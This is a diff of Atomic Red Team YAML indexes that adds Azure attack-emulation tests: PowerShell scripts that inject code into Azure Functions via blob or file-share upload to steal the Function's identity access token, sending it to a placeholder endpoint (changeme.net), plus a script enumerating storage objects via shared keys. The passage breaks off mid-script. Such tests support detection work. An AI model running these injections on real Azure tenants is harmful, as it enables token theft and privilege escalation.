||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -44367,7 +44658,223 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
atomic_tests: []
|
||||
identifier: T1550.001
|
||||
atomic_tests:
|
||||
- name: Azure - Functions code upload - Functions code injection via Blob upload
|
||||
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
|
||||
description: "This test injects code into an Azure Function (RCE).\n\nAttack
|
||||
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
|
||||
to T1550.001 \"Azure - Functions code upload - Functions code injection to
|
||||
retrieve the Functions identity access token\", the depicted code injection
|
||||
scenario tampers the source code of Azure Functions to perform Subscription
|
||||
Privilege Escalation by retrieving the identity access token of an Azure functions
|
||||
instance. In this case, the prepared zip file (underlying package for a Function)
|
||||
is expected to contain the tampered function presented in src/code_to_insert.py.
|
||||
Note that the endpoint https://changeme.net needs to be adapted in your packed
|
||||
function code.\n\nNote:\n- The Azure Function modified in this test must be
|
||||
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
|
||||
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
|
||||
\n- For Function code upload to Azure Functions that are hosted via Azure
|
||||
Files in a File Share, refer to T1550.001 \"Azure - Functions code upload
|
||||
- Functions code injection to retrieve the Functions identity access token\".\n-
|
||||
The required input fields can be retrieved in a reconnaissance step in test
|
||||
T1619 \"Azure - Enumerate Storage Account Objects via Key-based authentication
|
||||
using Azure CLI\". The code of function apps may be inspected and prepared
|
||||
from the result of test T1530 \"Azure - Dump Azure Storage Account Objects
|
||||
via Azure CLI\".\n\nRequirements:\n- The test is intended to be executed in
|
||||
interactive mode (with -Interactive parameter) in order to complete the az
|
||||
login command when MFA is required.\n- The EntraID user must have the role
|
||||
\"Storage Account Contributor\", or a role with similar permissions."
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
storage_account_name:
|
||||
type: string
|
||||
default: storage_account_name_example
|
||||
description: Name of storage account that is related to the Function
|
||||
container_name:
|
||||
type: string
|
||||
default: container_name_example
|
||||
description: Name of the container that contains the function blob
|
||||
blob_name:
|
||||
type: string
|
||||
default: blob_example
|
||||
description: Name of the function blob
|
||||
file_path_blob:
|
||||
type: path
|
||||
default: "$env:temp/T1550.001_function_code.zip"
|
||||
description: Path to the function code file to upload as blob
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
|
||||
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
|
||||
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
|
||||
be true or null\n Write-Output \"Shared key access is disabled for this
|
||||
storage account.\"\n} else { \n $connectionString = az storage account
|
||||
show-connection-string --name \"#{storage_account_name}\" --query connectionString
|
||||
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
|
||||
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + \"#{blob_name}\")\n
|
||||
\ az storage blob download --connection-string $connectionString --container-name
|
||||
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
|
||||
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
|
||||
blob version if download of existing blob succeeded\n az storage
|
||||
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
|
||||
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
|
||||
\ } else {\n Write-Output \"Download original function code failed.\"\n
|
||||
\ exit 1\n }\n}\n"
|
||||
cleanup_command: |-
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
|
||||
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original blob file if upload succeeded
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Azure - Functions code upload - Functions code injection via File Share
|
||||
modification to retrieve the Functions identity access token
|
||||
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
|
||||
description: "This test injects code into an Azure Function (RCE) to perform
|
||||
Subscription Privilege Escalation by retrieving the identity access token
|
||||
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
|
||||
executed, the \"https://changeme\" will retrieve the access token when the
|
||||
function app is executed on behalf of the tenant. The function may be triggered
|
||||
manually from authorized people, triggered in regular intervals, or in various
|
||||
other ways. The access token can then be used to perform further attack steps
|
||||
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
|
||||
\n- The Azure Function modified in this test must be hosted via Azure Files
|
||||
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
|
||||
For Function code upload to Azure Functions that are hosted via Azure Blob
|
||||
storage, refer to T1550.001 \"Azure - Functions code upload - Functions code
|
||||
injection via Blob upload\".\n- The required input fields can be retrieved
|
||||
in a reconnaissance step in test T1619 \"Azure - Enumerate Storage Account
|
||||
Objects via Key-based authentication using Azure CLI\". The code of function
|
||||
apps may be inspected and prepared from the result of test T1530 \"Azure -
|
||||
Dump Azure Storage Account Objects via Azure CLI\".\n- Important: Change the
|
||||
https://changeme.net in code_to_insert_path to a self-controlled endpoint.
|
||||
This endpoint can be hosted e.g. as request bin via Pipedream to display the
|
||||
body of incoming POST requests.\n- The default injected code to retrieve the
|
||||
access token can be replaced by arbitrary other code. In this case: Replace
|
||||
the code defined in code_to_insert_path\n\nRequirements:\n- The test is intended
|
||||
to be executed in interactive mode (with -Interactive parameter) in order
|
||||
to complete the az login command when MFA is required.\n- The EntraID user
|
||||
must have the role \"Storage Account Contributor\", or a role with similar
|
||||
permissions.\n\nExecution options: Defined by the input field execution_option\n-
|
||||
insert_code: This option (1) downloads the existing funciton code into a tmp
|
||||
file, (2) injects the code from code_to_insert_path at the beginning of the
|
||||
file, and (3) uploads the tampered file to the targeted Azure Function code
|
||||
(Azure File Share File).\n- replace_file: This option uploads the function
|
||||
code defined in code_to_insert_path to the targeted Azure Function code (Azure
|
||||
File Share File)."
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
storage_account_name:
|
||||
type: string
|
||||
default: storage_account_name_example
|
||||
description: Name of storage account that is related to the Function
|
||||
execution_option:
|
||||
type: string
|
||||
default: insert_code
|
||||
description: Chooses execution option insert_code, or replace_file
|
||||
file_share_name:
|
||||
type: string
|
||||
default: file_share_name_example
|
||||
description: Name of the file share that is related to the Function
|
||||
file_path:
|
||||
type: path
|
||||
default: site/wwwroot/function_app.py
|
||||
description: Path to the Function file in the file share
|
||||
code_to_insert_path:
|
||||
type: path
|
||||
default: "$PathToAtomicsFolder/T1550.001/src/code_to_insert.py"
|
||||
description: The code that will be injected into the Function
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
|
||||
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
|
||||
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
|
||||
be true or null\n Write-Output \"Shared key access is disabled for this
|
||||
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
|
||||
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
|
||||
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + $tmpOriginalFileName)\n
|
||||
\ az storage file download --account-name \"#{storage_account_name}\"
|
||||
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
|
||||
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
|
||||
Upload new funciton code if download of existing code succeeded\n if
|
||||
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
|
||||
file from file share for injection\n $tmpFunctionCode = Join-Path
|
||||
$env:temp/ (\"T1550.001_tmp_to_inject_\" + $tmpOriginalFileName)\n az
|
||||
storage file download --account-name \"#{storage_account_name}\" --share-name
|
||||
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
|
||||
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
|
||||
\"Function code download failed.\"\n exit 1\n }\n
|
||||
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
|
||||
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
|
||||
-Raw # Load the content of the insert file\n \n $content
|
||||
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
|
||||
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
|
||||
\ $content | Set-Content -Path $tmpFunctionCode # Write
|
||||
the modified content to the file\n \n # Upload file
|
||||
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
|
||||
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
|
||||
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
|
||||
\"Function code upload failed.\"\n exit 1\n }\n
|
||||
\ Write-Output \"Uploaded the tampered file\"\n } elseif
|
||||
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
|
||||
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
|
||||
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
|
||||
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
|
||||
code upload failed.\"\n exit 1\n }\n Write-Output
|
||||
\"Uploaded the tampered file\"\n } else {\n Write-Output
|
||||
\"Please choose a valid execution_option\"\n exit 1\n }\n
|
||||
\ } else {\n Write-Output \"Download original function code failed.\"\n
|
||||
\ exit 1\n }\n}"
|
||||
cleanup_command: |-
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
|
||||
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original f file if upload succeeded
|
||||
if ("#{execution_option}" -eq "insert_code") {
|
||||
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
|
||||
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
|
||||
}
|
||||
|
||||
# Delete tmp original file
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
credential-access:
|
||||
T1557:
|
||||
technique:
|
||||
@@ -51575,7 +52082,101 @@ discovery:
|
||||
x_mitre_attack_spec_version: 2.1.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1619
|
||||
atomic_tests: []
|
||||
atomic_tests:
|
||||
- name: Azure - Enumerate Storage Account Objects via Shared Key authorization
|
||||
using Azure CLI
|
||||
auto_generated_guid: 070322a4-2c60-4c50-8ffb-c450a34fe7bf
|
||||
description: |-
|
||||
This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps).
|
||||
|
||||
Requirements:
|
||||
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
||||
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
||||
|
||||
Output format: Csv file that contains the found storage account objects
|
||||
- Columns: ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName
|
||||
- The content of these columns is filled out depending on the object. Not-required columns are left empt. Example: For a blob object the ResourceGroup, StorageAccountName, ContainerName, BlobName are filled out, the other fields are left empty.
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
output_file:
|
||||
type: path
|
||||
default: "$env:temp\\T1619_storage_account_objects.csv"
|
||||
description: Csv file path for results
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: " Install-Module -Name Az -Force"
|
||||
executor:
|
||||
command: "az login # Login to Azure\n\n# Get all storage accounts in the
|
||||
subscription\n$storageAccounts = az storage account list --query \"[].{name:name,
|
||||
resourceGroup:resourceGroup}\" --output json | ConvertFrom-Json\n\n$storageAccountObjects
|
||||
= @()\n$downloadedFunctionFiles = @()\n\nforeach ($account in $storageAccounts)
|
||||
{\n Write-Output \"`nFound storage account $($account.name)\"\n\n $storageAccountObjects
|
||||
+= [PSCustomObject]@{\n ResourceGroup = $account.resourceGroup\n
|
||||
\ StorageAccountName = $account.name\n FileShareName =
|
||||
\"\"\n ContainerName = \"\"\n BlobName = \"\"\n
|
||||
\ TableName = \"\"\n QueueName = \"\"\n }\n\n
|
||||
\ $allowSharedKeyAccess = az storage account show --name $account.name
|
||||
--resource-group $account.resourceGroup --query \"allowSharedKeyAccess\"\n
|
||||
\ \n if ($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess
|
||||
could be true or null\n Write-Output \"Shared key access is disabled
|
||||
for this storage account.\"\n } else {\n $connectionString = az
|
||||
storage account show-connection-string --name $account.name --resource-group
|
||||
$account.resourceGroup --query connectionString --output tsv\n \n
|
||||
\ $fileShares = az storage share list --connection-string $connectionString
|
||||
--query \"[].name\" --output json | ConvertFrom-Json\n foreach($fileShare
|
||||
in $fileShares) {\n Write-Output \"Found file share: $($fileShare)\"\n
|
||||
\ $storageAccountObjects += [PSCustomObject]@{\n ResourceGroup
|
||||
\ = $account.resourceGroup\n StorageAccountName = $account.name\n
|
||||
\ FileShareName = $fileShare\n ContainerName
|
||||
\ = \"\"\n BlobName = \"\"\n TableName
|
||||
\ = \"\"\n QueueName = \"\"\n }\n
|
||||
\ }\n\n $containers = az storage container list --connection-string
|
||||
$connectionString --query \"[].name\" --output json | ConvertFrom-Json\n
|
||||
\ foreach($container in $containers) {\n Write-Output \"Found
|
||||
container: $($container)\"\n $storageAccountObjects += [PSCustomObject]@{\n
|
||||
\ ResourceGroup = $account.resourceGroup\n StorageAccountName
|
||||
= $account.name\n FileShareName = \"\"\n ContainerName
|
||||
\ = $container\n BlobName = \"\"\n TableName
|
||||
\ = \"\"\n QueueName = \"\"\n }\n\n
|
||||
\ $blobs = az storage blob list --connection-string $connectionString
|
||||
--container-name $container --query \"[].name\" --output json | ConvertFrom-Json\n\n
|
||||
\ foreach($blob in $blobs) {\n Write-Output \"Found
|
||||
blob: $($blob)\"\n $storageAccountObjects += [PSCustomObject]@{\n
|
||||
\ ResourceGroup = $account.resourceGroup\n StorageAccountName
|
||||
= $account.name\n FileShareName = \"\"\n ContainerName
|
||||
\ = $container\n BlobName = $blob\n TableName
|
||||
\ = \"\"\n QueueName = \"\"\n }\n
|
||||
\ }\n }\n \n $tables = az storage table list
|
||||
--connection-string $connectionString --query \"[].name\" --output json
|
||||
| ConvertFrom-Json\n foreach($table in $tables) {\n Write-Output
|
||||
\"Found table: $($table)\"\n $storageAccountObjects += [PSCustomObject]@{\n
|
||||
\ ResourceGroup = $account.resourceGroup\n StorageAccountName
|
||||
= $account.name\n FileShareName = \"\"\n ContainerName
|
||||
\ = \"\"\n BlobName = \"\"\n TableName
|
||||
\ = $table\n QueueName = \"\"\n }\n
|
||||
\ }\n \n $queues = az storage queue list --connection-string
|
||||
$connectionString --query \"[].name\" --output json | ConvertFrom-Json\n
|
||||
\ foreach($queue in $queues) {\n Write-Output \"Found table:
|
||||
$($table)\"\n $storageAccountObjects += [PSCustomObject]@{\n
|
||||
\ ResourceGroup = $account.resourceGroup\n StorageAccountName
|
||||
= $account.name\n FileShareName = \"\"\n ContainerName
|
||||
\ = \"\"\n BlobName = \"\"\n TableName
|
||||
\ = \"\"\n QueueName = $queue\n }\n
|
||||
\ }\n }\n}\n\n# Store file lists to csv file\n$storageAccountObjects
|
||||
| Export-Csv -Path \"#{output_file}\" -NoTypeInformation\nWrite-Output \"`nDownloaded
|
||||
storage account objects to #{output_file}\"\n\n# Print lists that have been
|
||||
stored as csv file\n$storageAccountObjects | Format-Table -Property ResourceGroup,
|
||||
StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName
|
||||
-AutoSize -Wrap\n"
|
||||
cleanup_command: |-
|
||||
Remove-Item -Path "#{output_file}" -Force -erroraction silentlycontinue
|
||||
Write-Output "Removed #{output_file}"
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
T1654:
|
||||
technique:
|
||||
modified: '2024-10-15T12:24:40.892Z'
|
||||
|
||||
@@ -14033,7 +14033,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -14164,6 +14164,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -44034,7 +44035,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -44165,6 +44166,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
+605
-4
@@ -31096,7 +31096,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -31227,7 +31227,223 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
atomic_tests: []
|
||||
identifier: T1550.001
|
||||
atomic_tests:
|
||||
- name: Azure - Functions code upload - Functions code injection via Blob upload
|
||||
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
|
||||
description: "This test injects code into an Azure Function (RCE).\n\nAttack
|
||||
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
|
||||
to T1550.001 \"Azure - Functions code upload - Functions code injection to
|
||||
retrieve the Functions identity access token\", the depicted code injection
|
||||
scenario tampers the source code of Azure Functions to perform Subscription
|
||||
Privilege Escalation by retrieving the identity access token of an Azure functions
|
||||
instance. In this case, the prepared zip file (underlying package for a Function)
|
||||
is expected to contain the tampered function presented in src/code_to_insert.py.
|
||||
Note that the endpoint https://changeme.net needs to be adapted in your packed
|
||||
function code.\n\nNote:\n- The Azure Function modified in this test must be
|
||||
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
|
||||
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
|
||||
\n- For Function code upload to Azure Functions that are hosted via Azure
|
||||
Files in a File Share, refer to T1550.001 \"Azure - Functions code upload
|
||||
- Functions code injection to retrieve the Functions identity access token\".\n-
|
||||
The required input fields can be retrieved in a reconnaissance step in test
|
||||
T1619 \"Azure - Enumerate Storage Account Objects via Key-based authentication
|
||||
using Azure CLI\". The code of function apps may be inspected and prepared
|
||||
from the result of test T1530 \"Azure - Dump Azure Storage Account Objects
|
||||
via Azure CLI\".\n\nRequirements:\n- The test is intended to be executed in
|
||||
interactive mode (with -Interactive parameter) in order to complete the az
|
||||
login command when MFA is required.\n- The EntraID user must have the role
|
||||
\"Storage Account Contributor\", or a role with similar permissions."
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
storage_account_name:
|
||||
type: string
|
||||
default: storage_account_name_example
|
||||
description: Name of storage account that is related to the Function
|
||||
container_name:
|
||||
type: string
|
||||
default: container_name_example
|
||||
description: Name of the container that contains the function blob
|
||||
blob_name:
|
||||
type: string
|
||||
default: blob_example
|
||||
description: Name of the function blob
|
||||
file_path_blob:
|
||||
type: path
|
||||
default: "$env:temp/T1550.001_function_code.zip"
|
||||
description: Path to the function code file to upload as blob
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
|
||||
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
|
||||
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
|
||||
be true or null\n Write-Output \"Shared key access is disabled for this
|
||||
storage account.\"\n} else { \n $connectionString = az storage account
|
||||
show-connection-string --name \"#{storage_account_name}\" --query connectionString
|
||||
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
|
||||
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + \"#{blob_name}\")\n
|
||||
\ az storage blob download --connection-string $connectionString --container-name
|
||||
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
|
||||
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
|
||||
blob version if download of existing blob succeeded\n az storage
|
||||
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
|
||||
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
|
||||
\ } else {\n Write-Output \"Download original function code failed.\"\n
|
||||
\ exit 1\n }\n}\n"
|
||||
cleanup_command: |-
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
|
||||
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original blob file if upload succeeded
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Azure - Functions code upload - Functions code injection via File Share
|
||||
modification to retrieve the Functions identity access token
|
||||
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
|
||||
description: "This test injects code into an Azure Function (RCE) to perform
|
||||
Subscription Privilege Escalation by retrieving the identity access token
|
||||
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
|
||||
executed, the \"https://changeme\" will retrieve the access token when the
|
||||
function app is executed on behalf of the tenant. The function may be triggered
|
||||
manually from authorized people, triggered in regular intervals, or in various
|
||||
other ways. The access token can then be used to perform further attack steps
|
||||
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
|
||||
\n- The Azure Function modified in this test must be hosted via Azure Files
|
||||
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
|
||||
For Function code upload to Azure Functions that are hosted via Azure Blob
|
||||
storage, refer to T1550.001 \"Azure - Functions code upload - Functions code
|
||||
injection via Blob upload\".\n- The required input fields can be retrieved
|
||||
in a reconnaissance step in test T1619 \"Azure - Enumerate Storage Account
|
||||
Objects via Key-based authentication using Azure CLI\". The code of function
|
||||
apps may be inspected and prepared from the result of test T1530 \"Azure -
|
||||
Dump Azure Storage Account Objects via Azure CLI\".\n- Important: Change the
|
||||
https://changeme.net in code_to_insert_path to a self-controlled endpoint.
|
||||
This endpoint can be hosted e.g. as request bin via Pipedream to display the
|
||||
body of incoming POST requests.\n- The default injected code to retrieve the
|
||||
access token can be replaced by arbitrary other code. In this case: Replace
|
||||
the code defined in code_to_insert_path\n\nRequirements:\n- The test is intended
|
||||
to be executed in interactive mode (with -Interactive parameter) in order
|
||||
to complete the az login command when MFA is required.\n- The EntraID user
|
||||
must have the role \"Storage Account Contributor\", or a role with similar
|
||||
permissions.\n\nExecution options: Defined by the input field execution_option\n-
|
||||
insert_code: This option (1) downloads the existing funciton code into a tmp
|
||||
file, (2) injects the code from code_to_insert_path at the beginning of the
|
||||
file, and (3) uploads the tampered file to the targeted Azure Function code
|
||||
(Azure File Share File).\n- replace_file: This option uploads the function
|
||||
code defined in code_to_insert_path to the targeted Azure Function code (Azure
|
||||
File Share File)."
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
storage_account_name:
|
||||
type: string
|
||||
default: storage_account_name_example
|
||||
description: Name of storage account that is related to the Function
|
||||
execution_option:
|
||||
type: string
|
||||
default: insert_code
|
||||
description: Chooses execution option insert_code, or replace_file
|
||||
file_share_name:
|
||||
type: string
|
||||
default: file_share_name_example
|
||||
description: Name of the file share that is related to the Function
|
||||
file_path:
|
||||
type: path
|
||||
default: site/wwwroot/function_app.py
|
||||
description: Path to the Function file in the file share
|
||||
code_to_insert_path:
|
||||
type: path
|
||||
default: "$PathToAtomicsFolder/T1550.001/src/code_to_insert.py"
|
||||
description: The code that will be injected into the Function
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
|
||||
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
|
||||
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
|
||||
be true or null\n Write-Output \"Shared key access is disabled for this
|
||||
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
|
||||
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
|
||||
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + $tmpOriginalFileName)\n
|
||||
\ az storage file download --account-name \"#{storage_account_name}\"
|
||||
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
|
||||
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
|
||||
Upload new funciton code if download of existing code succeeded\n if
|
||||
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
|
